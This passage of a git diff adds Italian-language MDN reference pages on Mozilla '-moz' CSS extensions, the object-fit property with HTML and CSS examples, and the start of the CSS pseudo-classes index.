+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{ Cssxref("width") }}, {{ Cssxref("max-width") }}</li>
+ <li>Il <a href="/it-IT/docs/Web/CSS/box_model" title="en/CSS/box_model">box model</a>, {{ Cssxref("box-sizing") }}</li>
+</ul>
diff --git a/files/it/web/css/mozilla_extensions/index.html b/files/it/web/css/mozilla_extensions/index.html
new file mode 100644
index 0000000000..f2dca7f728
--- /dev/null
+++ b/files/it/web/css/mozilla_extensions/index.html
@@ -0,0 +1,336 @@
+---
+title: Mozilla Extensions
+slug: Web/CSS/Mozilla_Extensions
+tags:
+  - CSS
+  - CSS Reference
+  - 'CSS:Mozilla Extensions'
+  - NeedsContent
+  - NeedsTechnicalReview
+  - Tutte_le_categorie
+translation_of: Web/CSS/Mozilla_Extensions
+---
+<p> </p>
+<div class="note">
+ <p>Traduzione a tempo perso ! Non essendo presente la traduzione mi dedicherò a tempo perso in questo progetto, quindi se mancano molte traduzioni non fatemene una colpa.</p>
+ <a>Zibibbo84</a> 10:30, 11 ott 2007 (PDT) ;)</div>
+<p>Mozilla supporta alcune estensioni del <a href="it/CSS">CSS</a> le quali hanno il prefisso '-moz'. Queste consentono di modificare alcune proprietà delle pagine web in modo non tradizionale, per facilitare l'utente nello sviluppo dei suoi progetti.</p>
+<p>Alcune di queste proprietà sono state inserite successivamente nel CSS , quindi possono presentarsi differenze nell'utilizzo delle proprietà standard e delle -moz.</p>
+<p>Alcune di queste proprietà non standard possono essere applicate solo su elementi di tipo XUL.</p>
+<h4 id="At-rules" name="At-rules">At-rules</h4>
+<ul>
+ <li><a href="it/CSS/@-moz-document">@-moz-document</a></li>
+</ul>
+<h4 id="Pseudo-elements_and_pseudo-classes" name="Pseudo-elements_and_pseudo-classes">Pseudo-elements and pseudo-classes</h4>
+<ul>
+ <li><a href="it/CSS/%3a-moz-list-bullet">:-moz-list-bullet</a></li>
+ <li><a href="it/CSS/%3a-moz-first-node">:-moz-first-node</a></li>
+ <li><a href="it/CSS/%3a-moz-last-node">:-moz-last-node</a></li>
+ <li><a href="it/CSS/%3a-moz-only-whitespace">:-moz-only-whitespace</a></li>
+ <li><a href="it/CSS/%3a-moz-bound-element">:-moz-bound-element</a></li>
+ <li><a href="it/CSS/%3a-moz-any-link">:-moz-any-link</a> (matches :link and :visited)</li>
+ <li><a href="it/CSS/%3a-moz-drag-over">:-moz-drag-over</a></li>
+ <li><a href="it/CSS/%3a-moz-tree-row">:-moz-tree-row</a></li>
+ <li><a href="it/CSS/%3a-moz-tree-cell">:-moz-tree-cell</a></li>
+ <li><a href="it/CSS/%3a-moz-tree-checkbox">:-moz-tree-checkbox</a></li>
+ <li><a href="it/CSS/%3a-moz-tree-column">:-moz-tree-column</a></li>
+ <li><a href="it/CSS/%3a-moz-tree-cell-text">:-moz-tree-cell-text</a></li>
+ <li><a href="it/CSS/%3a-moz-tree-twisty">:-moz-tree-twisty</a></li>
+ <li><a href="it/CSS/%3a-moz-tree-indentation">:-moz-tree-indentation</a></li>
+ <li><a href="it/CSS/%3a-moz-tree-line">:-moz-tree-line</a></li>
+ <li><a href="it/CSS/%3a-moz-tree-image">:-moz-tree-image</a></li>
+ <li><a href="it/CSS/%3a-moz-tree-separator">:-moz-tree-separator</a></li>
+ <li><a href="it/CSS/%3a-moz-tree-drop-feedback">:-moz-tree-feedback</a></li>
+ <li><a href="it/CSS/%3a-moz-tree-progressmeter">:-moz-tree-progressmeter</a></li>
+</ul>
+<h4 id="Properties" name="Properties">Properties</h4>
+<ul>
+ <li><a href="it/CSS/-moz-appearance">-moz-appearance</a></li>
+ <li><a href="it/CSS/-moz-binding">-moz-binding</a></li>
+ <li><a href="it/CSS/-moz-background-clip">-moz-background-clip</a></li>
+ <li><a href="it/CSS/-moz-background-inline-policy">-moz-background-inline-policy</a></li>
+ <li><a href="it/CSS/-moz-background-origin">-moz-background-origin</a></li>
+ <li><a href="it/CSS/-moz-border-bottom-colors">-moz-border-bottom-colors</a></li>
+ <li><a href="it/CSS/-moz-border-left-colors">-moz-border-left-colors</a></li>
+ <li><a href="it/CSS/-moz-border-radius">-moz-border-radius</a></li>
+ <li><a href="it/CSS/-moz-border-radius-bottomleft">-moz-border-radius-bottomleft</a></li>
+ <li><a href="it/CSS/-moz-border-radius-bottomright">-moz-border-radius-bottomright</a></li>
+ <li><a href="it/CSS/-moz-border-radius-topleft">-moz-border-radius-topleft</a></li>
+ <li><a href="it/CSS/-moz-border-radius-topright">-moz-border-radius-topright</a></li>
+ <li><a href="it/CSS/-moz-border-right-colors">-moz-border-right-colors</a></li>
+ <li><a href="it/CSS/-moz-border-top-colors">-moz-border-top-colors</a></li>
+ <li><a href="it/CSS/-moz-box-align">-moz-box-align</a></li>
+ <li><a href="it/CSS/-moz-box-direction">-moz-box-direction</a></li>
+ <li><a href="it/CSS/-moz-box-flex">-moz-box-flex</a></li>
+ <li><a href="it/CSS/-moz-box-ordinal-group">-moz-box-ordinal-group</a></li>
+ <li><a href="it/CSS/-moz-box-orient">-moz-box-orient</a></li>
+ <li><a href="it/CSS/-moz-box-pack">-moz-box-pack</a></li>
+ <li><a href="it/CSS/-moz-box-sizing">-moz-box-sizing</a></li>
+ <li><a href="it/CSS/-moz-image-region">-moz-image-region</a></li>
+ <li><a href="it/CSS/-moz-box-flexgroup">-moz-key-equivalent</a></li>
+ <li><a href="it/CSS/-moz-opacity">-moz-opacity</a></li>
+ <li><a href="it/CSS/-moz-outline">-moz-outline</a></li>
+ <li><a href="it/CSS/-moz-outline-color">-moz-outline-color</a></li>
+ <li><a href="it/CSS/-moz-outline-offset">-moz-outline-offset</a></li>
+ <li><a href="it/CSS/-moz-outline-radius">-moz-outline-radius</a></li>
+ <li><a href="it/CSS/-moz-outline-radius-bottomleft">-moz-outline-radius-bottomleft</a></li>
+ <li><a href="it/CSS/-moz-outline-radius-bottomright">-moz-outline-radius-bottomright</a></li>
+ <li><a href="it/CSS/-moz-outline-radius-topleft">-moz-outline-radius-topleft</a></li>
+ <li><a href="it/CSS/-moz-outline-radius-topright">-moz-outline-radius-topright</a></li>
+ <li><a href="it/CSS/-moz-outline-style">-moz-outline-style</a></li>
+ <li><a href="it/CSS/-moz-outline-width">-moz-outline-width</a></li>
+ <li><a href="it/CSS/-moz-user-focus">-moz-user-focus</a></li>
+ <li><a href="it/CSS/-moz-user-input">-moz-user-input</a></li>
+ <li><a href="it/CSS/-moz-user-modify">-moz-user-modify</a></li>
+ <li><a href="it/CSS/-moz-user-select">-moz-user-select</a></li>
+</ul>
+<ul>
+ <li>(CSS3 columns)
+  <ul>
+   <li><a href="it/CSS/-moz-column-count">-moz-column-count</a></li>
+   <li><a href="it/CSS/-moz-column-gap">-moz-column-gap</a></li>
+   <li><a href="it/CSS/-moz-column-width">-moz-column-width</a></li>
+  </ul>
+ </li>
+</ul>
+<ul>
+ <li><a href="it/CSS/-moz-float-edge">-moz-float-edge</a></li>
+</ul>
+<ul>
+ <li><a href="it/CSS/-moz-border-end">-moz-border-end</a></li>
+ <li><a href="it/CSS/-moz-border-end-color">-moz-border-end-color</a></li>
+ <li><a href="it/CSS/-moz-border-end-style">-moz-border-end-style</a></li>
+ <li><a href="it/CSS/-moz-border-end-width">-moz-border-end-width</a></li>
+ <li><a href="it/CSS/-moz-border-start">-moz-border-start</a></li>
+ <li><a href="it/CSS/-moz-border-start-color">-moz-border-start-color</a></li>
+ <li><a href="it/CSS/-moz-border-start-style">-moz-border-start-style</a></li>
+ <li><a href="it/CSS/-moz-border-start-width">-moz-border-start-width</a></li>
+ <li><a href="it/CSS/-moz-margin-end">-moz-margin-end</a></li>
+ <li><a href="it/CSS/-moz-margin-start">-moz-margin-start</a></li>
+ <li><a href="it/CSS/-moz-padding-start">-moz-padding-start</a></li>
+ <li><a href="it/CSS/-moz-padding-end">-moz-padding-end</a></li>
+</ul>
+<ul>
+ <li><a href="it/CSS/-moz-force-broken-image-icon">-moz-force-broken-image-icon</a></li>
+</ul>
+<h4 id="Values" name="Values">Values</h4>
+<p>Probabilmente documentate nelle pagine delle proprietà standard.</p>
+<ul>
+ <li>cursor (need to be moved to <a href="it/CSS/cursor">CSS:cursor</a>)
+  <ul>
+   <li><a href="it/CSS/-moz-alias">-moz-alias</a></li>
+   <li><a href="it/CSS/-moz-cell">-moz-cell</a></li>
+   <li><a href="it/CSS/-moz-context-menu">-moz-context-menu</a></li>
+   <li><a href="it/CSS/-moz-copy">-moz-copy</a></li>
+   <li><a href="it/CSS/-moz-grab">-moz-grab</a></li>
+   <li><a href="it/CSS/-moz-grabbing">-moz-grabbing</a></li>
+   <li><a href="it/CSS/-moz-spinning">-moz-spinning</a></li>
+   <li><a href="it/CSS/-moz-zoom-in">-moz-zoom-in</a></li>
+   <li><a href="it/CSS/-moz-zoom-out">-moz-zoom-out</a></li>
+  </ul>
+ </li>
+</ul>
+<ul>
+ <li><a href="it/CSS/display">display</a>
+  <ul>
+   <li>-moz-box</li>
+   <li>-moz-inline-block</li>
+   <li>-moz-inline-box</li>
+   <li>-moz-inline-grid</li>
+   <li>-moz-inline-stack</li>
+   <li>-moz-inline-table</li>
+   <li>-moz-grid</li>
+   <li>-moz-grid-group</li>
+   <li>-moz-grid-line</li>
+   <li>-moz-groupbox</li>
+   <li>-moz-deck</li>
+   <li>-moz-popup</li>
+   <li>-moz-stack</li>
+   <li>-moz-run-in</li>
+   <li>-moz-compact</li>
+   <li>-moz-marker</li>
+  </ul>
+ </li>
+</ul>
+<ul>
+ <li><a href="it/CSS/overflow">overflow</a>
+  <ul>
+   <li>-moz-scrollbars-horizontal</li>
+   <li>-moz-scrollbars-none</li>
+   <li>-moz-scrollbars-vertical</li>
+   <li>-moz-hidden-unscrollable</li>
+  </ul>
+ </li>
+</ul>
+<p>Note: Tutti questi valori sono da considerare disapprovati. E' preferibile usare <a href="it/CSS/overflow-x">overflow-x</a> and <a href="it/CSS/overflow-y">overflow-y</a>, nonostante non rimpiazzino l'ultimo di questi.</p>
+<ul>
+ <li>{{ Cssxref("border-style") }} e {{ Cssxref("outline-style") }}
+  <ul>
+   <li>-moz-bg-inset - Miscela il bordo del tipo inset con il background (scheduled for removal {{ Bug(84307) }})</li>
+   <li>-moz-bg-outset - Miscela il bordo del tipo outset con il background (scheduled for removal {{ Bug(84307) }})</li>
+   <li>-moz-bg-solid - Miscela il bordo del tipo solid con il background (scheduled for removal {{ Bug(84307) }})</li>
+  </ul>
+ </li>
+</ul>
+<ul>
+ <li><a href="it/CSS/border-color">border-color</a>
+  <ul>
+   <li>-moz-use-text-color</li>
+  </ul>
+ </li>
+</ul>
+<ul>
+ <li>tutte le proprietà accettano i nomi dei colori
+  <ul>
+   <li>-moz-activehyperlinktext</li>
+   <li>-moz-hyperlinktext</li>
+   <li>-moz-visitedhyperlinktext</li>
+   <li>-moz-buttondefault</li>
+   <li>-moz-buttonhoverface</li>
+   <li>-moz-buttonhovertext</li>
+   <li>-moz-cellhighlight</li>
+   <li>-moz-cellhighlighttext</li>
+   <li>-moz-field</li>
+   <li>-moz-fieldtext</li>
+   <li>-moz-dialog</li>
+   <li>-moz-dialogtext</li>
+   <li>-moz-dragtargetzone</li>
+   <li>-moz-mac-accentdarkestshadow</li>
+   <li>-moz-mac-accentdarkshadow</li>
+   <li>-moz-mac-accentface</li>
+   <li>-moz-mac-accentlightesthighlight</li>
+   <li>-moz-mac-accentlightshadow</li>
+   <li>-moz-mac-accentregularhighlight</li>
+   <li>-moz-mac-accentregularshadow</li>
+   <li>-moz-mac-focusring</li>
+   <li>-moz-mac-menuselect</li>
+   <li>-moz-mac-menushadow</li>
+   <li>-moz-mac-menutextselect</li>
+   <li>-moz-menuhover</li>
+   <li>-moz-menuhovertext</li>
+  </ul>
+ </li>
+</ul>
+<ul>
+ <li><a href="it/CSS/empty-cells">empty-cells</a>
+  <ul>
+   <li>-moz-show-background (valore di default)</li>
+  </ul>
+ </li>
+</ul>
+<ul>
+ <li><a href="it/CSS/font-family">font-family</a>
+  <ul>
+   <li>-moz-fixed</li>
+  </ul>
+ </li>
+</ul>
+<ul>
+ <li><a href="it/CSS/font">font</a>
+  <ul>
+   <li>-moz-button</li>
+   <li>-moz-info</li>
+   <li>-moz-desktop</li>
+   <li>-moz-dialog (come un colore)</li>
+   <li>-moz-document</li>
+   <li>-moz-workspace</li>
+   <li>-moz-window</li>
+   <li>-moz-list</li>
+   <li>-moz-pull-down-menu</li>
+   <li>-moz-field (come un colore)</li>
+  </ul>
+ </li>
+</ul>
+<ul>
+ <li>text-align
+  <ul>
+   <li>-moz-center</li>
+   <li>-moz-left</li>
+   <li>-moz-right</li>
+  </ul>
+ </li>
+</ul>
+<ul>
+ <li>text-decoration
+  <ul>
+   <li>-moz-anchor-decoration</li>
+  </ul>
+ </li>
+</ul>
+<ul>
+ <li>-moz-user-select
+  <ul>
+   <li>-moz-all</li>
+   <li>-moz-none</li>
+  </ul>
+ </li>
+</ul>
+<ul>
+ <li>white-space
+  <ul>
+   <li>-moz-pre-wrap</li>
+  </ul>
+ </li>
+</ul>
+<ul>
+ <li><a href="it/CSS/list-style-type">list-style-type</a>
+  <ul>
+   <li>-moz-arabic-indic</li>
+   <li>-moz-bengali</li>
+   <li>-moz-cjk-earthly-branch</li>
+   <li>-moz-cjk-heavenly-stem</li>
+   <li>-moz-devanagari</li>
+   <li>-moz-ethiopic-halehame</li>
+   <li>-moz-ethiopic-halehame-am</li>
+   <li>-moz-ethiopic-halehame-ti-er</li>
+   <li>-moz-ethiopic-halehame-ti-et</li>
+   <li>-moz-ethiopic-numeric</li>
+   <li>-moz-gujarati</li>
+   <li>-moz-gurmukhi</li>
+   <li>-moz-hangul</li>
+   <li>-moz-hangul-consonant</li>
+   <li>-moz-japanese-formal</li>
+   <li>-moz-japanese-informal</li>
+   <li>-moz-kannada</li>
+   <li>-moz-khmer</li>
+   <li>-moz-lao</li>
+   <li>-moz-malayalam</li>
+   <li>-moz-myanmar</li>
+   <li>-moz-oriya</li>
+   <li>-moz-persian</li>
+   <li>-moz-simp-chinese-formal</li>
+   <li>-moz-simp-chinese-informal</li>
+   <li>-moz-tamil</li>
+   <li>-moz-telugu</li>
+   <li>-moz-thai</li>
+   <li>-moz-trad-chinese-formal</li>
+   <li>-moz-trad-chinese-informal</li>
+   <li>-moz-urdu</li>
+  </ul>
+ </li>
+</ul>
+<h4 id="Others" name="Others">Others</h4>
+<ul>
+ <li>'funzioni' per il colore
+  <ul>
+   <li><a href="it/CSS/-moz-hsla">-moz-hsla</a> (tonalità, saturazione, luminosità, opacità)</li>
+   <li><a href="it/CSS/-moz-rgba">-moz-rgba</a></li>
+  </ul>
+ </li>
+</ul>
+<ul>
+ <li><a href="it/CSS/-moz-initial">-moz-initial</a> Il valore <code>-moz-initial</code> è un implementazione parziale del codice <code>initial</code> del CSS3, usato per applicare il valore iniziale della proprietà CSS ad un elemento.</li>
+</ul>
+<ul>
+ <li><a href="it/CSS/-moz-math-columnline">-moz-math-columnline</a></li>
+ <li><a href="it/CSS/-moz-math-firstcolumn">-moz-math-firstcolumn</a></li>
+ <li><a href="it/CSS/-moz-math-firstrow">-moz-math-firstrow</a></li>
+ <li><a href="it/CSS/-moz-math-font-size">-moz-math-font-size</a></li>
+ <li><a href="it/CSS/-moz-math-font-style">-moz-math-font-style</a></li>
+ <li><a href="it/CSS/-moz-math-lastcolumn">-moz-math-lastcolumn</a></li>
+ <li><a href="it/CSS/-moz-math-lastrow">-moz-math-lastrow</a></li>
+ <li><a href="it/CSS/-moz-math-rowline">-moz-math-rowline</a></li>
+</ul>
+<p><a>Talk:Mozilla CSS Extensions</a></p>
+<p>{{ Bug(311415) }} implemented -moz-intrinsic, -moz-min-intrinsic, -moz-shrink-wrap, -moz-fill values for {{ Cssxref("width") }}, {{ Cssxref("min-width") }}, and {{ Cssxref("max-width") }} properties.</p>
+<p>{{ languages( { "en": "en/R\u00e9f\u00e9rence_CSS/Extensions_Mozilla", "fr": "fr/R\u00e9f\u00e9rence_CSS/Extensions_Mozilla", "pl": "pl/Dokumentacja_CSS/Rozszerzenia_Mozilli" } ) }}</p>
diff --git a/files/it/web/css/object-fit/index.html b/files/it/web/css/object-fit/index.html
new file mode 100644
index 0000000000..1421cd58c8
--- /dev/null
+++ b/files/it/web/css/object-fit/index.html
@@ -0,0 +1,161 @@
+---
+title: object-fit
+slug: Web/CSS/object-fit
+translation_of: Web/CSS/object-fit
+---
+<div>{{CSSRef}}</div>
+
+<p>La proprietà <a href="/en-US/docs/Web/CSS">CSS</a> <strong><code>object-fit</code></strong> istruisce il browser su come deve ridimensionare il contenuto di un <a href="/en-US/docs/Web/CSS/Replaced_element">elemento incluso</a>, come avviene per i tag {{HTMLElement("img")}} o {{HTMLElement("video")}}, per adattarlo al suo contenitore.</p>
+
+<p>Per modificare l'allineamento dell'elemento ridimensionato rispetto al suo contenitore puoi usare la proprietà {{cssxref("object-position")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/object-fit.html")}}</div>
+
+
+
+<h2 id="Syntax" name="Syntax">Sintassi</h2>
+
+<p>La proprietà <code>object-fit</code> viene specificata usando uno dei seguenti valori.</p>
+
+<h3 id="Values" name="Values">Valori</h3>
+
+<dl>
+ <dt><code>contain</code></dt>
+ <dd>L'elemento viene ridimensionato in relazione al suo contenitore preservando le proporzioni. Se le proporzioni dell'elemento e il suo contenitore non sono identici si avrà come risultato l'effetto <a href="https://en.wikipedia.org/wiki/Letterboxing_(filming)">"letterboxed"</a>.</dd>
+ <dt><code>cover</code></dt>
+ <dd>L'elemento viene ridimensionato in relazione al suo contenitore preservando le proporzioni. <span class="tlid-translation translation" lang="it"><span title="">Se le proporzioni dell'elemento non corrispondono alle proporzioni del suo contenitore, l'oggetto verrà ritagliato per adattarsi</span></span>.</dd>
+ <dt><code>fill</code></dt>
+ <dd><span class="tlid-translation translation" lang="it"><span title="">L'elemento viene ridimensionato per riempire completamente il suo contenitore.</span> <span title="">Se le proporzioni dell'elemento non corrispondono alle proporzioni del suo contenitore, l'oggetto verrà deformato per adattarsi.</span></span></dd>
+ <dt><code>none</code></dt>
+ <dd>L'elemento non viene ridimensionato.</dd>
+ <dt><code>scale-down</code></dt>
+ <dd>L'elemento viene ridimensionto come se <code>none</code> o <code>contain</code> fossero specificati, ma con la differenza che si ottiene sempre un oggetto più piccolo.</dd>
+</dl>
+
+<h3 id="Formal_syntax">Formal syntax</h3>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="Example" name="Example">Esempi</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;div&gt;
+  &lt;h2&gt;object-fit: fill&lt;/h2&gt;
+  &lt;img src="https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png" alt="MDN Logo" class="fill"/&gt;
+
+  &lt;img src="https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png" alt="MDN Logo" class="fill narrow"/&gt;
+
+  &lt;h2&gt;object-fit: contain&lt;/h2&gt;
+  &lt;img src="https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png" alt="MDN Logo" class="contain"/&gt;
+
+  &lt;img src="https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png" alt="MDN Logo" class="contain narrow"/&gt;
+
+  &lt;h2&gt;object-fit: cover&lt;/h2&gt;
+  &lt;img src="https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png" alt="MDN Logo" class="cover"/&gt;
+
+  &lt;img src="https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png" alt="MDN Logo" class="cover narrow"/&gt;
+
+  &lt;h2&gt;object-fit: none&lt;/h2&gt;
+  &lt;img src="https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png" alt="MDN Logo" class="none"/&gt;
+
+  &lt;img src="https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png" alt="MDN Logo" class="none narrow"/&gt;
+
+  &lt;h2&gt;object-fit: scale-down&lt;/h2&gt;
+  &lt;img src="https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png" alt="MDN Logo" class="scale-down"/&gt;
+
+  &lt;img src="https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png" alt="MDN Logo" class="scale-down narrow"/&gt;
+
+&lt;/div&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css notranslate">h2 {
+  font-family: Courier New, monospace;
+  font-size: 1em;
+  margin: 1em 0 0.3em;
+}
+
+div {
+  display: flex;
+  flex-direction: column;
+  flex-wrap: wrap;
+  align-items: flex-start;
+  height: 940px;
+}
+
+img {
+  width: 150px;
+  height: 100px;
+  border: 1px solid #000;
+}
+
+.narrow {
+  width: 100px;
+  height: 150px;
+  margin-top: 10px;
+}
+
+.fill {
+  object-fit: fill;
+}
+
+.contain {
+  object-fit: contain;
+}
+
+.cover {
+  object-fit: cover;
+}
+
+.none {
+  object-fit: none;
+}
+
+.scale-down {
+  object-fit: scale-down;
+}
+</pre>
+
+<h3 id="Risultato">Risultato</h3>
+
+<p>{{ EmbedLiveSample('Example', 500, 450) }}</p>
+
+<h2 id="Specifications" name="Specifications">Specifiche</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commento</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Images', '#the-object-fit', 'object-fit')}}</td>
+   <td>{{Spec2('CSS4 Images')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Images', '#the-object-fit', 'object-fit')}}</td>
+   <td>{{Spec2('CSS3 Images')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilità browser</h2>
+
+
+
+<p>{{Compat("css.properties.object-fit")}}</p>
+
+<h2 id="See_also" name="See_also">Guarda anche</h2>
+
+<ul>
+ <li>Altre proprietà CSS relative alle immaggini: {{cssxref("object-position")}}, {{cssxref("image-orientation")}}, {{cssxref("image-rendering")}}, {{cssxref("image-resolution")}}.</li>
+ <li>{{cssxref("background-size")}}</li>
+</ul>
diff --git a/files/it/web/css/pseudo-classes/index.html b/files/it/web/css/pseudo-classes/index.html
new file mode 100644
index 0000000000..935d570c71
--- /dev/null
+++ b/files/it/web/css/pseudo-classes/index.html
@@ -0,0 +1,167 @@
+---
+title: Pseudo-classes
+slug: Web/CSS/Pseudo-classes
+tags:
+  - CSS
+  - Panoramica
+  - Pseudo-class
+  - Riferimento
+  - Selettori
+translation_of: Web/CSS/Pseudo-classes
+---
+<div>{{CSSRef}}</div>
+
+<p class="summary"><span class="seoSummary">Una <strong><dfn>pseudo-classe</dfn></strong> <a href="/it/docs/Web/CSS">CSS</a> è una parola chiave aggiunta ad un selettore la quale specifica lo stato speciale degli elementi selezionati.</span> Ad esempio, {{CSSxRef(":hover")}} può essere usato per cambiare il colore di un pulsate quando il puntatore dell'utente vi passa sopra.</p>
+
+<pre class="brush: css no-line-numbers">/* Qualsiasi button sopra al quale passa il cursore dell'utente*/
+button:hover {
+  color: blue;
+}</pre>
+
+<p>La pseudo-classi permettono di applicare uno stile ad un elemento non solo in relazione al contenuto dell'alberatura del documento, ma anche in relazione a fattori esterni come la storia della navigazione ({{CSSxRef(":visited")}}, per esempio), lo stato del suo contenuto (come {{CSSxRef(":checked")}} su determinati elementi di form), oppure la posizione del mouse (come {{CSSxRef(":hover")}}), il quale permette di sapere se il mouse si trova su un elemento o no.</p>
+
+<div class="blockIndicator note">
+<p><strong>Nota:</strong> Al contrario delle pseudo-classi, gli <a href="/en-US/docs/Web/CSS/Pseudo-elements">pseudo-elementi</a> possono essere usati per dare stile a <em>parti specifiche</em> di un elemento.</p>
+</div>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox">selector:pseudo-class {
+  property: value;
+}
+</pre>
+
+<p>Come per una classe regolare, è possibile concatenare insieme quante più pseudo-classi volute in un selettore.</p>
+
+<h2 id="Indice_delle_pseudo-classi_standard">Indice delle pseudo-classi standard</h2>
+
+<div class="index" id="index">
+<ul>
+ <li>{{CSSxRef(":active")}}</li>
+ <li>{{CSSxRef(":any-link")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef(":blank")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef(":checked")}}</li>
+ <li>{{CSSxRef(":current")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef(":default")}}</li>
+ <li>{{CSSxRef(":defined")}}</li>
+ <li>{{CSSxRef(":dir", ":dir()")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef(":disabled")}}</li>
+ <li>{{CSSxRef(":drop")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef(":empty")}}</li>
+ <li>{{CSSxRef(":enabled")}}</li>
+ <li>{{CSSxRef(":first")}}</li>
+ <li>{{CSSxRef(":first-child")}}</li>
+ <li>{{CSSxRef(":first-of-type")}}</li>
+ <li>{{CSSxRef(":fullscreen")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef(":future")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef(":focus")}}</li>
+ <li>{{CSSxRef(":focus-visible")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef(":focus-within")}}</li>
+ <li>{{CSSxRef(":has", ":has()")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef(":host")}}</li>
+ <li>{{CSSxRef(":host()")}}</li>
+ <li>{{CSSxRef(":host-context()")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef(":hover")}}</li>
+ <li>{{CSSxRef(":indeterminate")}}</li>
+ <li>{{CSSxRef(":in-range")}}</li>
+ <li>{{CSSxRef(":invalid")}}</li>
+ <li>{{CSSxRef(":is", ":is()")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef(":lang", ":lang()")}}</li>
+ <li>{{CSSxRef(":last-child")}}</li>
+ <li>{{CSSxRef(":last-of-type")}}</li>
+ <li>{{CSSxRef(":left")}}</li>
+ <li>{{CSSxRef(":link")}}</li>
+ <li>{{CSSxRef(":local-link")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef(":not", ":not()")}}</li>
+ <li>{{CSSxRef(":nth-child", ":nth-child()")}}</li>
+ <li>{{CSSxRef(":nth-col", ":nth-col()")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef(":nth-last-child", ":nth-last-child()")}}</li>
+ <li>{{CSSxRef(":nth-last-col", ":nth-last-col()")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef(":nth-last-of-type", ":nth-last-of-type()")}}</li>
+ <li>{{CSSxRef(":nth-of-type", ":nth-of-type()")}}</li>
+ <li>{{CSSxRef(":only-child")}}</li>
+ <li>{{CSSxRef(":only-of-type")}}</li>
+ <li>{{CSSxRef(":optional")}}</li>
+ <li>{{CSSxRef(":out-of-range")}}</li>
+ <li>{{CSSxRef(":past")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef(":placeholder-shown")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef(":read-only")}}</li>
+ <li>{{CSSxRef(":read-write")}}</li>
+ <li>{{CSSxRef(":required")}}</li>
+ <li>{{CSSxRef(":right")}}</li>
+ <li>{{CSSxRef(":root")}}</li>
+ <li>{{CSSxRef(":scope")}}</li>
+ <li>{{CSSxRef(":state", ":state()")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef(":target")}}</li>
+ <li>{{CSSxRef(":target-within")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef(":user-invalid")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef(":valid")}}</li>
+ <li>{{CSSxRef(":visited")}}</li>
+ <li>{{CSSxRef(":where", ":where()")}} {{Experimental_Inline}}</li>
+</ul>
+</div>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Status</th>
+   <th scope="col">Commento</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Fullscreen")}}</td>
+   <td>{{Spec2("Fullscreen")}}</td>
+   <td>Definito <code>:fullscreen</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "#pseudo-classes")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td>Definisce quando particolari selettori corrisponde ad elementi HTML.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS4 Selectors")}}</td>
+   <td>{{Spec2("CSS4 Selectors")}}</td>
+   <td>Definiti <code style="white-space: nowrap;">:any-link</code>, <code>:blank</code>, <code style="white-space: nowrap;">:local-link</code>, <code>:scope</code>, <code>:drop</code>, <code>:current</code>, <code>:past</code>, <code>:future</code>, <code style="white-space: nowrap;">:placeholder-shown</code>, <code style="white-space: nowrap;">:user-invalid</code>, <code style="white-space: nowrap;">:nth-col()</code>, <code style="white-space: nowrap;">:nth-last-col()</code>, <code>:is()</code> e <code>:where()</code>.<br>
+    Cambiato il comportamento di <code>:empty</code> {{CSSxRef(":-moz-only-whitespace")}} {{Non-standard_Inline}}.<br>
+    Nessun cambiamento significativo per le altre pseudo-classi definite nel {{SpecName("CSS3 Selectors")}} e {{SpecName("HTML5 W3C")}} (sebbene il significato semantico non sia stato preso in considerazione).</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5 W3C")}}</td>
+   <td>{{Spec2("HTML5 W3C")}}</td>
+   <td>Copia della sezione pertinente dalla specifica canonica HTML (WHATWG).</td>
+  </tr>
+  <tr>
